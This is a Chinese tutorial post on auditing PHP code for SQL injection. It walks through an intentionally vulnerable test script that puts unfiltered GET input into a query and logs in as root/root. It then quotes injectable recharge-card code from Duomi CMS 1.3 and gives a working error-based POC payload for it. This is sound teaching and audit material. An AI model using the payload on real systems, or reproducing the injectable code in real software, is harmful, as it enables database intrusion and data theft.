標籤:normal style color apple 審計
什麼是SQL注入
SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全性漏洞。可以用它來從資料庫擷取敏感資訊,或者利用資料庫的特性執行添加使用者,匯出檔案等一系列惡意操作,甚至有可能擷取資料庫乃至系統使用者最高許可權。
而造成SQL注入的原因是因為程式沒有有效過濾使用者的輸入,使攻擊者成功的向伺服器提交惡意的SQL查詢代碼,程式在接收後錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。
SQL注入執行個體
很多Web開發人員沒有意識到SQL查詢是可以被篡改的,從而把SQL查詢當作可信任的命令。殊不知,SQL查詢是可以繞開存取控制,從而繞過身分識別驗證和許可權檢查的。更有甚者,有可能通過SQL查詢去運行主機系統級的命令。
下面將通過一些真實的例子來詳細講解SQL注入的方式。
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/88/25/wKiom1fqW6CzzlmqAAArvxgj9ZA980.png" border="0" style="line-height: 1.6;">
測試代碼如下:
<?php
$uid=$_GET[‘id‘];
$sql="SELECT * FROM userinfo where id=$uid";
$conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);
mysql_select_db("sql",$conn);
$result=mysql_query($sql,$conn);
print_r(‘當前SQL語句: ‘.$sql.‘
結果: ‘);
print_r(mysql_fetch_row($result));
?>
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/88/25/wKiom1fqW6DBwDGsAABukPje0gY258.png" border="0" class=""> 首先我們看一下代碼:
$uid=$_GET[‘id‘]; //擷取GET值
$sql="SELECT * FROM userinfo where id=$uid"; //執行SQL語句
$conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);
mysql_select_db("sql",$conn); //資料庫配配置
$result=mysql_query($sql,$conn); //進行查詢SQL語句
print_r(‘當前SQL語句: ‘.$sql.‘
結果: ‘);
print_r(mysql_fetch_row($result)); //進行列印輸出沒有任何的過濾所以利用簡單的SQL注入語句就可以直接查詢相關需要的資訊。
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/88/22/wKioL1fqW6CDGhQCAAA1a1HL22s243.png" border="0"> 從可以看出原本的SQL語句已被注入更改,使用了UNION查詢到目前使用者。
另外一個多米CMS最新版1.3版本注入執行個體。漏洞檔案member/mypay.php(14-40行)
if(empty($_SESSION[‘duomi_user_id‘])){
showMsg("請先登入","login.php");
exit();
}
elseif($dm==‘mypay‘){
$key=$_POST[‘cardkey‘];
if($key==""){showMsg("請輸入儲值卡號","-1");exit;}
$pwd=$_POST[‘cardpwd‘];
if($pwd==""){showMsg("請輸入儲值卡密碼","-1");exit;}
$sqlt="SELECT * FROM duomi_card where ckey=‘$key‘";
$sqlt="SELECT * FROM duomi_card where cpwd=‘$pwd‘";
$row1 = $dsql->GetOne($sqlt);
if(!is_array($row1) OR $row1[‘status‘]<>0){
showMsg("儲值卡資訊有誤","-1");exit;
}else{
$uname=$_SESSION[‘duomi_user_name‘];
$points=$row1[‘climit‘];
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE ckey=‘$key‘");
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE cpwd=‘$pwd‘");
$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username=‘$uname‘");
showMsg("恭喜!儲值成功!","mypay.php");exit;
}
}
else
{
此處的”cardpwd”變數沒有進行過濾就以POST提交方式傳入了資料庫造成注入。 構造POC如下(注意此處需要註冊使用者並且登陸詳情請看該檔案1-17行):
http://localhost/member/mypay.php?dm=mypay
POST:cardpwd=-1‘ AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and ‘1‘=‘1
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/88/25/wKiom1fqW6SyRqSVAAaujWsex0Y295.png" border="0">
來自為知筆記(Wiz)
PHP代碼審計SQL注入篇